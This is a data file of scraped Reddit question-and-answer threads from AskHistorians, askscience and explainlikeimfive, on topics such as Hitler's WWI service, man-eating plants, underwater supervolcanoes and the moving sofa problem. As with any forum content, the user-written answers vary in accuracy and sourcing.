{"q_id": "2jiyy1", "title": "During WWI, what sort of soldier was Adolf Hitler? A good one?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2jiyy1/during_wwi_what_sort_of_soldier_was_adolf_hitler/", "answers": {"a_id": ["clc7mtr"], "score": [17], "text": ["After his failed attempts at painting and and architecture; Hitler fled to Munich in 1913 escaping the Austrian call to service. In which he then became an army courier and lance- corporal in the Bavarian army. Hitler wasn't the ideal soldier, not the athletic type and considered an \"oddball, quirky and introverted\". He manages to survive 4 years among the trenches; still as a courier. From what I remember he was wounded twice and awarded the Iron Cross 1st class. Ian Kershaw's \"Hitler\" quotes that he was unfit for promotion due to his lack of leadership abilities.\n\nAfter the armistice is signed, he manages to squeeze out 2 more years on the army payroll, often considered his \"Missing years\". Later he is made an educational officer where he began lecturing at universities, where he found his calling as the prominent speech rabble rouser that history usually portrays Hitler as. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "xe32d", "title": "When we went to the moon, did we leave any life behind (unintentionally)?", "selftext": "For example, is there any way small life forms were attached to us as we traveled to the moon and were left behind?\nAlso, more importantly, is there any way this life could survive?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/xe32d/when_we_went_to_the_moon_did_we_leave_any_life/", "answers": {"a_id": ["c5lkozu", "c5lnq0u", "c5lo7ai", "c5lrc8g", "c5lrjda"], "score": [26, 5, 2, 4, 3], "text": [" >  As part of the Apollo 12 mission, the camera from the Surveyor 3 probe was brought back to Earth. On analyzing the camera it was found that the common bacterium Streptococcus mitis was alive on the camera. This was attributed by NASA to the camera not being sterilized on Earth prior to its launch two and a half years previously.\n\n_URL_0_", "No water (or inaccessible). No growth medium. No oxygen or CO2. Air temperature at or near absolute 0. I wouldn't give life much chance on the moon. So anything left behind almost certainly couldn't live, had a chance to survive, as bacteria can form dormant spores, they could survive for a few years until scattered radiation destroyed them.", "I've often thought this, I am sure some of the components attracted bacterium while they were being assembled, and said organisms entrapped in the component.\n\nWhether dormant or dead, their structure has still been transported... ", "It has been discovered that bacteria can live in more extreme conditions than we have ever imagined such as bacteria that has been studied in Mono Lake, CA.  The theory of panspermia explains how life may possibly be transferred from planet to planet by organisms within rocks being flung from their home planet by meteorite impacts.\n\n_URL_0_\n\n_URL_1_\n\n", "My astro-biology professor told us that the landing/take off boosters increased the moons atmospheric density many times (cant remember exactly how he phrased it), but it didn't take long to dissipate. Still though, no chance this would be enough for life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Reports_of_Streptococcus_mitis_on_the_moon"], [], [], ["http://www.nasa.gov/topics/universe/features/astrobiology_toxic_chemical.html", "http://www.panspermia-theory.com/index.php?option=com_content&amp;view=article&amp;id=87:stephen-hawking-why-we-should-go-into-space&amp;catid=24:videos&amp;Itemid=97"], []]}
{"q_id": "30jvoy", "title": "Has there ever been any species of plant, capable of killing and eating a full grown man?", "selftext": "Edit: Wow, just checking on this post and it's blown up, and thanks guilder! Lot of interesting answers out here.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30jvoy/has_there_ever_been_any_species_of_plant_capable/", "answers": {"a_id": ["cpt7h2l", "cptaoyz", "cptapdo", "cptd9l9", "cptda8f", "cptdaev", "cptgkj2", "cptgstv", "cpthn7s", "cptmdyo", "cpto8ro", "cptzgxo"], "score": [779, 1546, 59, 224, 578, 23, 6, 11, 5, 3, 5, 2], "text": ["\u2018Gympie-Gympie\u2019 is hardly the name you\u2019d expect for a stinging-tree. It looks quite harmless too, but in reality, the Gympie-Gympie is one of the most venomous plants in the world. Commonly found in the rainforest areas of north-eastern Australia, the Moluccas and Indonesia, it is known to grow up to one to two meters in height.\n\nIn fact, the Gympie-Gympie sting is so dangerous that it has been known to kill dogs, horses and humans alike. If you\u2019re lucky enough to survive, you  only feel excruciating pain that can last several months and reoccur for years. Even a dry specimen can inflict pain, almost a hundred years after being picked!\n\n\nEdit: Mild dyslexia and answering while pooping contributed to my misreading of the question. My apologies [source](_URL_0_)", "As far as I know, *Nepenthes rajah* is the largest pitcher plant there is, and even it can really only eat small mammals like mice. I can't imagine what pressures would lead to the evolution of a plant that needed to eat large animals to survive.", "As long as your body is near the roots of the plant you're getting eaten by it, albeit very, very slowly.\n\nIf that's accepted as a premise, then pretty much any toxic plant or large tree has the potential to kill and eat you via poison or dropping a limb on you.\n\nI'm assuming you meant something more along the lines of a sundew or pitcher plant type scenario though, in which case the answer is no.", "Although I can't definitively say that there is no such plant, I can shed some light on predatory plants. First some background information:\n\nWhile animals obtain their organic mass from consuming plants or other animals, plants get most of their mass from the air itself. If you put a seedling in a pot on a scale, it will increase in weight as it grows. This is because it's pulling Carbon Dioxide (CO2) from the air and using it to build up its tissues.\n\nA plant like, say, the Venus Flytrap, still obtains most of its Carbon from the air - *not* from flies it catches. Those flies supply the plant with an important source of Nitrogen. Getting Nitrogen in the right form is a *big deal* for a lot of plants. It's why some plants contain bacterial colonies in their roots - those bacteria convert Nitrogen into a usable form for plants, because plants can't use the N2 gas from the air directly. Well, those flies that the Venus Flytrap catches supply the plant with usable Nitrogen.\n\nSo long as a plant is performing photosynthesis (which allows it to use all that CO2 from the air), it shouldn't need to consume large animals for sustenance. Now, a fungus on the other hand....", "the plant Puya CHilensis also known as \"the sheep eating plant\" has many barb and hooks on its leaves and branches to tangle into the fur and hair of large mammals and starve them to death. theey rot at the base of the plant and feed the roots.\n _URL_0_\n", "Hi. Presenting..... The Gympie Gympie bush scientific name Dendrocnide_moroides. Lives in Australia home of other poisonous beasties and that and here is a link. It can kill you but very painfully - little spikes with chemical residue to it and has hospitalized at least one person in the last few years. \n\n_URL_1_  \n\nand \n\n_URL_0_ \n\n\nOh some one else bet me to it. Ah well. ", "Well . . .technically . . .if one were to drop dead due to accidental contact with an extremely lethal toxin secreted by a plant and fall dead on the spot, the decomposing tissue might sustain the plant. \n\nIn all seriousness though, if there were any massive enough vegetation that could handle a human sized-\"prey,\" it probably would have gone extinct well before hominids came on the scene.", "The difficulty with this question is whether pre-historic plants of this kind existed, due to plants leaving limited fossil records.\n\nHowever, I think it's better if we look at this the other way and ask if there were any man-sized animals who fed off the sweet, sugary mixtures that these plants use to lure their prey in.\nNow, my knowledge of the mammals who feed from flowers is limited, but to my knowledge, they all have very fast metabolisms, meaning they have to constantly feed. That isn't something that is found in larger animals.\n\nI guess the plant could use a lure of a brightly coloured, fruit like object, that was rigidly attached but then there is the difficulty of making the trap look safe enough for a larger mammal to risk it AND still dangerous enough that they'd fall in.\n\n", "I think your question has been thoroughly answered however I would like to note that although nothing has ever been found there are still legends of this.  There are many stories of man eating trees in the jungles.  You can read about them here _URL_0_", "You could make an argument that plants, as a giant symbiome, are capable of killing people by poisoning, chocking, or just outliving you and then eating you through the slow process of decomposititon and regrowth. Perhaps we're all killers and cannibals on a molecular level.", "Some trees are connected at the roots, forming a super-organism (_URL_0_)\nIf one of those trees fell on someone and killed them, the rest of the trees would eat them as their nutrients dissolved into the soil.", "So, feel free to delete this as it is not all that science laden, but I live in British Columbia and there are areas, swampy I suppose but not like the warmer climates. These areas are where mosses grow thickly, so thickly that the create a weird creepy area of dead trees. I have had hiking and outdoorsy friends as well as native friends tell me those are the places to stay far out of. Their reasoning is that the moss grows thick and buoyant but one wrong step and you can crash through to the water underneath and not find your way back through because it is dark under all that moss. \n\nI think that it is fair to say that animals like deer could fall victim to this as well, amd become a source of food, once decayed. I realize this doesn't mean that the mossy swamps are necessarily predatory, but I found it interesting, perhaps a little spooky, and not too far fetched. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.odditycentral.com/news/being-stung-by-the-gympie-gympie-tree-is-the-worst-kind-of-pain-you-can-imagine.html"], [], [], [], ["http://en.wikipedia.org/wiki/Puya_chilensis"], ["http://en.wikipedia.org/wiki/Dendrocnide_moroides", "http://www.australiangeographic.com.au/topics/science-environment/2009/06/gympie-gympie-once-stung,-never-forgotten/"], [], [], ["http://en.m.wikipedia.org/wiki/Man-eating_tree"], [], ["http://en.wikipedia.org/wiki/Clonal_colony#Record_colonies"], []]}
{"q_id": "976sle", "title": "After the Union victory in the Siege of Vicksburg, it gained control of the Mississippi River and split the Confederacy into two. How was the western-half of the Confederacy governed and were the two sides ever able to communicate in a meaningful way?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/976sle/after_the_union_victory_in_the_siege_of_vicksburg/", "answers": {"a_id": ["e468oev", "e46cb24"], "score": [482, 26], "text": ["I am a Texas Historian, and I think I can offer some information on this. Vicksburg was indeed a major defeat for the Confederacy, but the Union did not hold the entire Mississippi afterwards. \n\nThe Confederacy still held the lower portions of the Mississippi, but they could no longer use the upper portions of the river for transportation or communications. So, if you can envision the Southern states, there was still a narrow opening below Vicksburg and the gulf. \n\nIn Texas, after Vicksburg, communication with Richmond was hard to come by. The state government was basically defending itself, and was relying on the combined Confederate forces of Arkansas, Louisiana, and Texas. \n\nIn late 1863, the Union launched a major two pronged invasion of Texas commanded by General Banks. The intention of these campaigns was to:\n\n1) Completely sever the Confederate overland cotton trade into Mexico. \n\n2) Seize and capture the Texas coastline, including its coastal defense systems, and reduce the amount of blockade runners. \n\n2,000 Union soldiers came ashore at the mouth of the Rio Grande and separated into two columns. The first movement of troops started up the river and eventually made it all the way up to Laredo before a Confederate garrison, under the command of an Hispanic officer, halted their advance in an astonishing victory. \n\nThe second, and more successful column of Union soldiers, began moving up the Texas coastline towards Galveston. These troops were able to seize all of the Barrier Islands, the majority of the port cities (Corpus Christi, Indianola, Port Lavaca, etc.), and all of the Confederate fortifications from the mouth of the Rio Grande to the tip of Matagorda Island. \n\nSo what does all this rambling have to do with your original post? The Union invasion of Texas, which lasted from 1863-1864, generated a massive scare with-in the western portions of the Confederacy. \n\nWhen the Federals began their campaigns in Texas, the Rebel leaders of the western Confederacy panicked. Separated from the majority of the South, with an extremely low number of soldiers (most of whom were already losing hope for a Southern victory), the commanding officers had to go as far as calling up all of the local militias and volunteer units to aid in the defense of the state. \n\nBy the Spring of 1864, there were almost a 1,000 Union soldiers ready to make an attack against either Galveston or Houston. But, for some untold reason, Banks suddenly decided to cancel the movement and ordered a campaign to seize control of the Red River in Louisiana. It would prove to be a major mistake. \n\nThe Red River Campaign of 1864, was aimed at furthering the rift with-in the Confederacy. The Union had finally seized control of New Orleans, and Banks foolishly believed that northern Louisiana and eastern Texas were mostly devoid of Confederate forces. His error in judgement led to the Federal defeat at the Battle of Sabine Crossroads, which altered the entirety of the campaign, and re-fueled the Confederate morale. \n\nIf you want to find primary documentation on just how scattered and panicked the Confederate forces in the west were after Vicksburg, I highly suggest researching the Texas campaigns of 1863-64. Probably one of the best books on the subject is titled \u201cThe Yankee Invasion of Texas\u201d. I can\u2019t recall the name of the author, but I know you can find it on Amazon for about 20 bucks.\n\nHope this helps! \n\n", "Sorry, guess I was typing too fast. I guess I should have worded it as follows: \u201cFrom New Orleans, Banks believed he could advance into Louisiana virtually unopposed by the Confederate forces in eastern Texas and northern Louisiana.\u201d \n\nIt happens. But, for those interested, here\u2019s a good article on the Red River Campaign: \n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://tshaonline.org/handbook/online/articles/qdr01"]]}
{"q_id": "332hwp", "title": "how did sagging begin and why do people do it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/332hwp/eli5_how_did_sagging_begin_and_why_do_people_do_it/", "answers": {"a_id": ["cqgy2gm"], "score": [2], "text": ["The last time this was posted there was a long lengthy article about how no one really knows. You have several unverifiable versions about it starting in prisons, others about poorer kids getting hand me down clothes, and various others but no one really has a concrete answer. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4qpya4", "title": "Where do the physical paper bills go after the president signs them?", "selftext": "Whenever the president signs a bill into law what happens to the actual piece of paper he signs? Where do they keep all the bills that presidents have signed throughout history?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4qpya4/where_do_the_physical_paper_bills_go_after_the/", "answers": {"a_id": ["d4v5l9w"], "score": [417], "text": ["They go to the National Archives or sometimes the Library of Congress if it's decided to do so. Office of the Federal Register is here _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.archives.gov/federal-register/"]]}
{"q_id": "17suqj", "title": "Is there a larger \"explosion\" than a hypernova?", "selftext": "I was watching the recently submitted video about the largest stars in the Universe and it got me reading.\n\nIf supernovae happen when massive stars reach the end of their life and hypernovae happen when even more massive stars reach the end of their life (as I understand it), what happens when stars like [R136a1](_URL_0_) reach the end of their lifespan? \n\nIs there a larger type of end-of-star explosion that we haven't seen yet?\n\nIn the same vein - what are the upper limits of a supernova explosion? Is there a limit to how big one could be?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17suqj/is_there_a_larger_explosion_than_a_hypernova/", "answers": {"a_id": ["c88t1h4"], "score": [4], "text": [" > If supernovae happen when massive stars reach the end of their life and hypernovae happen when even more massive stars reach the end of their life (as I understand it), what happens when stars like R136a1 reach the end of their lifespan?\n\nA really big hypernova.\n\nHypernova is just a catchall term for supernovae that are much brighter than average. A typical supernova puts out something on the order of 10^44 joules of energy. Hypernovae are a few orders of magnitude stronger than this. We don't know enough about the physics of supernovae, or about the upper limits on star masses (especially in metal-poor Population III stars in the very early universe, stars may have gotten up to several hundred solar masses) to put a limit on supernova energies."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/R136a1"], "answers_urls": [[]]}
{"q_id": "g4ffi", "title": "What do you know that nobody knew 10 years ago?", "selftext": "How far has your field advanced in 10 years?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g4ffi/what_do_you_know_that_nobody_knew_10_years_ago/", "answers": {"a_id": ["c1ku3xo", "c1ku63o", "c1kufy9", "c1kuh6l", "c1kuh8u", "c1kumbr", "c1kuoev", "c1kv02h", "c1kv2zd", "c1kv4n3", "c1kv4y1", "c1kv7i8", "c1kvcf7", "c1kvdf3", "c1kvjq6", "c1kvsao", "c1kvtaj", "c1kvu3c", "c1kvwd8", "c1kvzvn", "c1kw7sd", "c1kwm1r", "c1kwyuq", "c1kxbfy", "c1kxbp5"], "score": [87, 36, 16, 95, 114, 27, 25, 13, 24, 8, 26, 11, 42, 15, 29, 9, 25, 39, 3, 11, 14, 5, 6, 2, 4], "text": ["More like 13 years, but before 1998 people didn't know that the expansion of the universe was accelerating. Since then, WMAP has placed impressive constraints on the composition and history of the universe.", "A bit as been discovered on bloodflow. Some phenomena that have been explained in the past 10 years include the marginal zone theory, the Fahraeus effect, and the Fahraeus-Lindquest effect.\n\nThe Fahraeus effect states that even though the hematocrit (ratio of blood cell volume over total blood volume in a given sample) is equal in the arteries and veins, it actually decreases in the capillaries. The reason for this imbalance is that red blood cells accumulate at the center of the tube, where the velocity of the blood is fastest. This increase in velocity and concentration maintains the equal hematocrit in the vein and artery.", "I know it's not glamorous, but tons of little discoveries are being made every day. Every time I do an en experiment I learn something new that I didn't know before.\n\nI also have some publications, and while they aren't ground breaking studies, they are still original pieces of research that help us solve the big puzzle one little piece at a time.", "Optical stimulation barely existed 10 years ago...now you have awesome stuff like [this.](_URL_0_)", "Strict control of blood sugar kills critically ill patients.\nCooling patients after cardiac arrest saves lives.\nIt doesn't matter which inotrope you use as long as its not dopamine.\nIt doesn't matter whether you use saline or albumin to resuscitate critically ill patients unless they have a head injury.\nSteroids probably don't work in septic shock (an advance from probably do).\nActivated Protein C possibly doesn't work in septic shock (up from likely does).\nSmall tidal volume ventilation in ARDS saves lives", "We are so jaded by discoveries/inventions now that things that would have made worlds of difference 10/20/50 years ago don't phase us at all. I'm only 23 years old and I remember not having the internet. Now my entire life is based around it. My job, my hobbies, even my relationships. Technology is increasing at an exponential rate.", "We have recently been able to create and characterize the slightest offset in atomic positions that can drastically improve the performance of oxide electronic devices.  But don't tell anyone, I'm still working on a few papers  > . > ", "That its possible to survive rabies without vaccination. Albeit not common.\n\n_URL_0_", "Pluto is not a planet.", "It may not be a \"field\", but it seems like people's general knowledge of medical science has increased dramatically in the last 10 years. I think that's due in large part to medical dramas. \n\nThe thing that still baffles me the most though is how people think that defibrillators work. If a heart is in asystole, doctor's on TV will shock the chest causing the person to jump a foot off the bed and their heart magically restarts. No epinephrine or anything else is given. I really wish they wouldn't include defibrillators on work and school campuses for people to use as they're only likely to make things worse.", "I know that midlatitude nighttime intermediate plasma layers may contain metal ions in a wide range of concentrations.  I got a PhD with that little useless gem!", "How to use neural signals as a controller for robotic devices.  ", "Graphene is not only stable, but awesome. Writing a review on it now.", "Thanks to seroepidemiology, we now know that people are  infected by common infectious agents such as salmonella on the order of 30 times more frequently than reported cases would suggest (about 1 in 5 persons gets infected by salmonella in denmark each year, according to these estimates).", "[That primality can be proven in polynomial time](_URL_0_).", "Some stomach ulcers can be caused by bacterium which grows in the stomach lining - [Helicobacter pylori](_URL_0_)", "The meta-analytic correlation between job satisfaction and job performance is .30.\n\nOnce you account for personality and general mental ability, self-efficacy (the belief that you can succeed) is unrelated to job performance.\n\nSkinnier-than-average women and larger-than-average men tend to make more money than their average or gender-weight stigmatized counterparts.\n\nTaller people tend to make more money than shorter people. \n\nFairness in how procedures are enacted at work, and how outcomes (rewards) are distributed are a BIG deal. \n\nEmotions at work are more important than once thought. \n\nLeadership is very complex.\n\nAnd a lot more.", "That the most widely used reference source in all of high school would be a free online encyclopedia that anyone in the world can edit.", "The web side of computer science the past ten years have been amazing.  We don't really know much more than we did, but we've been able to take what we know to a whole new level.  We don't necessarily expand our knowledge base, but rather its accessibility and functionality through abstraction.", "In very controlled environments we can maintain entanglement, an inherently quantum phenomenon, for very macroscopic time periods (on the order of 10s of seconds or more).  Also, we can place meso/macroscopic collections of very cold atoms into highly quantum states (nanoresonators).", "Assuming [I am a cyborg and the internet is part of my giant brain](_URL_0_), the entire genetic sequence of over 1000 organisms. My field has completely changed since people gained the ability to easily scan through the entire set of instructions for making an organism, pick a part they like, and compare it to whatever other organism they want.", "[Imagine what you'll *know* tomorrow](_URL_0_).", "That you can pack tetrahedra with a packing fraction greater than 0.85 (but so far not greater than 0.86)", "That you can live (very uncomfortably) with the top part of your sternum horizontal (undiagnosed dislocated manubriosternal joint / angle of louis). \n\nEdit: The manubriosternal joint may be a synovial joint, a synchondrosis or, in a smaller percentage of adults, it may be fused.", "Non-surgical local delivery of chemotherapeutics to the back of the eye for the treatment of retinoblastomas. We can also design implantable insulin delivery vehicles that respond to blood glucose levels. \n\nJust give us 50 or so years for FDA approval. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.youtube.com/watch?v=I64X7vHSHOE"], [], [], [], ["http://www.scientificamerican.com/article.cfm?id=jeanna-giese-rabies-survivor&amp;sc=WR_20081014"], [], [], [], [], [], [], ["https://secure.wikimedia.org/wikipedia/en/wiki/AKS_primality_test"], ["http://en.wikipedia.org/wiki/Helicobacter_pylori"], [], [], [], [], ["http://www.qwantz.com/index.php?comic=1854"], ["http://www.youtube.com/watch?v=jT6h2CUWLzQ"], [], [], []]}
{"q_id": "5y07yb", "title": "Are there underwater supervolcanoes?", "selftext": "I know that we are aware of supervolcanoes on land and the world is mostly ocean, are there supervolcanoes that are underwater? And if so, what would be the result of one of those erupting?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5y07yb/are_there_underwater_supervolcanoes/", "answers": {"a_id": ["demlwqb", "demnnbg"], "score": [2, 8], "text": ["Yes it is! There is actually one forming under the pacific that in about 100 million years could destroy everything! It is called the Tamu Massif, and it has been forming for quite a while now but should not erupt for some time. Plenty of islands have came from erupting volcano's in the ocean. Tsunamis would definitely follow a large volcano underwater but depending on how large might just form a big island or it could form a big enough explosion to kill us all. For the record the explosion wouldn't probably kill us, the winter the ash would cause might kill a lot of people. I couldn't find much data but I can say that super volcanoes are under the ocean and are not really a cause for alarm (right now).\nEdit: Added part about ashes killing people", "You can see on this [map](_URL_1_) that all of the known supervolcanoes are located on land. I can explain the basics here, and I'd love to hear what the volcanologists have to say.\n\nThe term 'supervolcano' simply refers to [large eruption capacity](_URL_3_) and is not linked to any specific volcano type, though some types of volcanoes are relatively more prone to large eruptions than others. Volcanoes sourced by [felsic magma](_URL_0_) tend to be explosive because their high SiO2 and volatile (CO2, H2O, SO2) content increases viscosity, and therefore allows greater pressure to build up between eruptions. Mafic magmas, on the other hand, have less of these components and are therefore less viscous. They tend to just extrude a lot of runny, black lava. Felsic vocanoes occur exclusively on continental crust, which tends to be above sea level, and therefore explosive eruptions tend not to be found in the oceans.\n\nYellowstone is a popular supervolcano, and, indeed, it is generated by a hotspot of magma from the mantle punching through the continental crust of the North American plate. In contrast, [Toba](_URL_4_) is associated with a subduction zone, which generates magma in a striking different way--instead of coming up from the mantle, water-rich sediment deposited on one plate is brought down a trench and slides beneath another tectonic plate. Weirdly enough, the water in the subducted sediment helps to melt felsic minerals in the overlying plate, which creates a magma that is more felsic than either of the two oceanic plates were to begin with. The resulting eruptions are explosive, and eventually large amounts of this \"fractionated\" material create continental crust that comprises large island chains like Japan or Indonesia.\n\nAnd, of course, in reality it's all actually a little more complicated than I explained. Here's an [example](_URL_2_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.geology.sdsu.edu/how_volcanoes_work/Controls.html", "https://en.wikipedia.org/wiki/Supervolcano#/media/File:Supervolcano_World_Map.png", "https://hvo.wr.usgs.gov/volcanowatch/archive/2003/03_05_22.html", "https://volcanoes.usgs.gov/volcanoes/yellowstone/yellowstone_sub_page_49.html", "https://en.wikipedia.org/wiki/Lake_Toba"]]}
{"q_id": "26102x", "title": "when i send a monthly payment check to a major company, does someone from that company walk up to a teller at a bank with thousands of checks they must get a month or are they deposited a different way?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26102x/eli5_when_i_send_a_monthly_payment_check_to_a/", "answers": {"a_id": ["chmlnfo", "chmlq18"], "score": [11, 3], "text": ["The address you most likely mailed that check to was a remittance processing operation associated with a major bank. It may have had a box number, zip+4, or similar on it for routing. \n\nEssentially, payments from hundreds of different companies come in to the same address and are sorted. The check processor has an assigned desk with any number of specific accounts. One account at a time, they pull the checks out, inspect them for various things (payee is correct, check is signed, etc) and key the data into a deposit batch. Once you run through all the checks the batch is sent for deposit. They used to deliver them to the bank hundreds of batches at a time, but most companies have gone to electronic processing so the checks never actually leave the original remittance center. Digital copies are sent to the bank and the client and the originals are shredded.", "It depends on the size of the company. Any company that expects to do a decent amount of cash and check business (for example a grocery store) will have a contract with an armored carrier such as Loomis or Gardia. These carriers will take specially sealed plastic bags full of cash, coin, and checks to the clients bank of choice, usually daily. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2zy7cp", "title": "do animals think cars are other animals? do they think humans are riding cars like they would a horse or do they understand the concept of man-made machines?", "selftext": "I almost hit a deer today and it made me think, I wonder if that deer thinks my car is a big scary animal barreling towards it? \n\nThat then lead to, I wonder if they think cars and trucks are another type of species that humans ride like they would a horse? Are there some animals that are aware of what is machine and what is life and others that aren't? \n\nHelp end this question pondering tornado spiraling through my head and please, explain like I'm five!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2zy7cp/eli5_do_animals_think_cars_are_other_animals_do/", "answers": {"a_id": ["cpnd8w6", "cpndbi9", "cpndpcy", "cpnehpb", "cpnez8w", "cpnjd86", "cpnl28f", "cpntu0v", "cpnwcvq"], "score": [11, 12, 5, 60, 2, 2, 23, 2, 2], "text": ["There is no way to answer this question. We do not even understand entirely how humans think and have consciousness so we have no way to really beging to try and interrupt how other animals think. \n", "This is one of those questions we fundamentally can't answer without being inside an animals head/ conciousness. ", "if we like it or not - the majority of animals are more like logic gates than conscious thinkers. \n", "Watch a coyote try to cross a highway sometime - classic canid-appeasing-bigger-scary-animal body language. Head low, tail low, ears back, spine sort of hunched up, walking on their tippietoes all \"_URL_0_.not.a.threat.\" Most of the smarter canid species at least - dogs, wolves, and coyotes - think cars are enormous, unpredictable creatures with VERY strange relationships with humans. Dogs chasing cars aren't usually doing it for shits  &  giggles, they're usually either trying to herd it or defend their pack against it.", "I imagine that cars are like the Roadrunner and animals are like Wile E Coyote. One is very fast and travels on roads, the other is killed by the roadrunner. ", "I think my dog understands that's just how humans travel, maybe because he runs with us if were on dirtbikes or fourwheelers, that's probably not a huge stretch afterward to see you in a car.\n\nHe always looks at me not the vehicle.", "I think the animal has no concept of 'artificial'. The animal can walk at the bottom of a skyscraper but to him, it's beyond comprehension that someone could build such thing there for it must be natural.. no doubt about it. And it is simply not capable of conceptualizing something to be man made, that same way you find it difficult to conceptualize the 4th dimension.\n\nEDIT : Due to the possibility of monkeys finding the comment above offensive, said word has been replaced with generic 'Animal'.\n", "Animals that grow up around roads will know to be aware and wary of vehicles, but cars don't smell like an animal, they don't have faces, they don't display variances in body language etc.  I doubt animals see vehicles as alive, but they probably don't see them as explicitly artificial, either - they're just there.  It's probably quite similar to when you're walking along a footpath - you know cars are passing by, but you aren't specifically thinking about the exact colour or make  &  model of each one. ", "ask yourself this: what would a 2yo think about a car? a dog's level of intelligence (except obviously linguistic) tend to be about that of a 2yo human so if we use that as a baseline it's likely the dog believes the car to be alive (as 2 year olds believe EVERYTHING to be alive) it doesn't smell like other animals sure but it smells like a car, just as a skunk doesn't smell like a fish, it's just a different kind of animal, it doesn't respond to it's body language and has it's own odd sort of body language but that's just a source of confusion no reason for the dog to think it not alive. the real question is what does the dog think when you go inside the car, probably nothing much if it's gone into cars a lot in the past it's just what you do, go in the car and go places (i think my dog is not aware he is inside the car, so every time i take a turn he barks at the front of my car...he also barks at passing cars)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["I.am.not.a.threat.I.am.not.a.threat.I.am"], [], [], [], [], []]}
{"q_id": "5l755b", "title": "why is there no solution for the moving sofa problem?", "selftext": "_URL_0_  \n\nWhy is there a lower bound? What is the lower bound in the first place? From what I understand, it's the smallest area the sofa can be. why is there a smallest area in the first place, for a problem that tries to find the largest area?  \n   \n  \n\nThe article mentions \"The Hammersley sofa has area 2.2074 but is not the largest solution\". If they know this isn't the largesst solution, it means that they know of a solution that's larger, right? Why isn't that solution listed there?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5l755b/eli5_why_is_there_no_solution_for_the_moving_sofa/", "answers": {"a_id": ["dbtfv5x", "dbtgx0v", "dbtkzo3", "dbtn61w"], "score": [5, 3, 5, 2], "text": ["you are misunderstanding what value the lower bound is. The solution to the problem would be the maximum area of a shape that can manage a 90 degree turn...nobody knows yet what that exact number would be. But they do know it is not less or more than certain numbers.\nOf course, the lower bound of a shape that can make the turn is zero. thats trivial. What they mean by the lower bound in this context is IF they ever actually solve the problem, it will be more than that number.\n\nThey could find lower and upper bounds by more general methods that do not actually provide the details of what the shape would be...that is why the hammersley sofa is known to not be the optimum solution. For example, it would be trivial to prove that the solution would be less than say the area of a rectangle with one side length 1 and another side 2 times the square root of 2...simply on the general fact that it has to be fitting in the thinnest 'part' of the rotation at some point, when it is at a 45 degree angle.", " > The article mentions \"The Hammersley sofa has area 2.2074 but is not the largest solution\". If they know this isn't the largesst solution, it means that they know of a solution that's larger, right? Why isn't that solution listed there?\n\nIt is listed:\n\n > Joseph Gerver found a sofa that further increased the lower bound for the sofa constant to approximately 2.2195\n\nAnd you can see what that looks like here:\n_URL_0_\n\nThey just didn't have an animated gif of it.", "_URL_0_ gives a proof for the currently known upper bound. The proof shows that sofas with an area greater than 2sqrt(2) will not fit. So, the area of the largest sofa to fit is less than or equal to 2sqrt(2).\n\nThe currently known lower bound is the area of the largest sofa yet found that fits. A lack of a counter example (a larger sofa that fits) doesn't mean the lower bound is the solution. It just means we haven't found a larger sofa that fits or we haven't shown that there is no larger sofa.", "u/taggedjc already addressed your second question, so I'll try to address your first one. Suppose you're shopping for a candle, and you want to find the longest candle you can, but you don't know in advance how long the candles are at the store. You step into the store and see a 7cm-long candle. Do you know how long the longest candle is? No, but you know it's at least 7cm: so 7cm is a lower bound."]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/Moving_sofa_problem"], "answers_urls": [[], ["https://www.youtube.com/watch?v=n5bMD3_JlFY"], ["http://math.stackexchange.com/questions/1847453/whats-the-upper-bound-for-sofa-problem"], []]}
{"q_id": "3tu6ax", "title": "how does edward snowden make a living?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tu6ax/eli5_how_does_edward_snowden_make_a_living/", "answers": {"a_id": ["cx98233", "cx9aue6", "cx9cavv"], "score": [92, 56, 13], "text": ["Wish someone commented I've wondered the same myself many times, the only thing I can rationalize is that he is \"employed\" by a sponsor as a consultant and also he gets paid for all the interviews and stuff he does but I'm probably wrong on most of that..", "He has speaking fees, interview fees, plus, like many people, in times of need, he'll crash with a rich patron.", "This article says he has a IT related job, but doesn't give any detail.\n\n \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.theguardian.com/world/2014/aug/07/edward-snowden-permission-stay-in-russia-three-years"]]}
